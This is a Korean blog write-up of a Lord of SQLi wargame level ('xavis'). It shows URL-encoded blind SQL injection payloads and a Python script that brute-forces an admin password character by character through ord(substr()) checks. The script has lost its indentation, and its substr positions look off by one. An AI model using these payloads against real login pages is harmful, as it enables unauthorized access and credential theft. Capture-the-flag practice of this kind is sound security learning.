이 문제는 정말 좋은 경험을 했다고 생각한다.
40글자라고 해서 좀 놀랐다.
허나 ascii(substr(pw,1,1)) 로 돌려보자 모든 값들이 0으로 나오는 것을 보고 유니코드임을 파악할 수 있었다.
유니코드는 4바이트로서 40/4를 하여 총 10글자임을 알 수 있었다.
유니코드는 ord 함수를 이용하여 뽑아내었따
import requests
url = "https://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php"
headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}
'''
?pw=1234%27%20or%20id=%27admin%27%20%20and%20right(left(pw,1),1)=%27a%27%23
?pw=1234%27%20or%20id=%27admin%27%20and%20ascii(substr(pw,%201,%201))%20=%2010%20%23
'''
for x in range(10):
for c in range(33, 255):
rs = requests.get(url + "?pw=1234%27%20or%20id=%27admin%27%20and%20ord(substr(pw,%20" + str(x) + ",%201))%20=%20" + str(c) + "%20%23", headers=headers, cookies=cookies)
text = rs.text
if("<h2>Hello admin</h2>" in text):
print(str(x+1) + " ascii = " + str(c) + " find it")
'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글
[LOS1] iron_golem (0) | 2018.09.27 |
---|---|
[LOS1] dragon (0) | 2018.09.22 |
[LOS1] nightmare (0) | 2018.09.22 |
[LOS1] succubus (0) | 2018.09.22 |
[LOS1] zombie_assassin (0) | 2018.09.22 |